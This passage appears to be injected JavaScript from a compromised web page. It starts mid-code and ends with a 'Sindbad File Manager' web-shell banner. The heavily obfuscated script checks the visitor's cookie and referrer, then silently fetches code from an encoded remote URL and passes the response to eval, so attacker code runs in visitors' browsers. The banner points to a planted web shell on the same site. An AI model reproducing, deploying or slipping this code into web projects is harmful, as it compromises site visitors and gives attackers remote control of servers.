X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists